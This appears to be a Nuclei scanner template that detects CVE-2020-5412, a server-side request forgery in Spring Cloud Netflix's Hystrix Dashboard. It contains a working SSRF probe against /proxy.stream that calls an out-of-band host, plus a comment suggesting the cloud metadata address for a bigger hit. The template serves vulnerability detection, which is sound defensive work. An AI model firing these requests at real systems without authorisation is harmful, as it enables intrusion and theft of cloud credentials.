id: CVE-2020-5412 info: name: Spring Cloud Netflix - Server-Side Request Forgery author: dwisiswant0 severity: medium description: Spring Cloud Netflix 2.2.x prior to 2.2.4, 2.1.x prior to 2.1.6, and older unsupported versions are susceptible to server-side request forgery. Applications can use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. An attacker can send a request to other servers and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. remediation: | Apply the latest security patches or updates provided by Spring Cloud Netflix to mitigate the vulnerability. reference: - https://tanzu.vmware.com/security/cve-2020-5412 - https://nvd.nist.gov/vuln/detail/CVE-2020-5412 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2020-5412 cwe-id: CWE-610,CWE-441 epss-score: 0.4867 epss-percentile: 0.97183 cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: vmware product: spring_cloud_netflix tags: cve,cve2020,ssrf,springcloud,vmware http: - method: GET path: - "{{BaseURL}}/proxy.stream?origin=http://{{interactsh-url}}" matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: header words: - "Jelly" - type: status status: - 200 # To get crithit, try http://169.254.169.254/latest/metadata/ # digest: 490a0046304402202433cc040fc8dbb0f5b1242f3372c133e0c263c0cb56b356cdc0c14961ad66df02206e70e26390a552bab5ae2913079d13ed4024e6cfc3bedd707f1df0b6e7b4991e:922c64590222798bb761d5b6d8e72950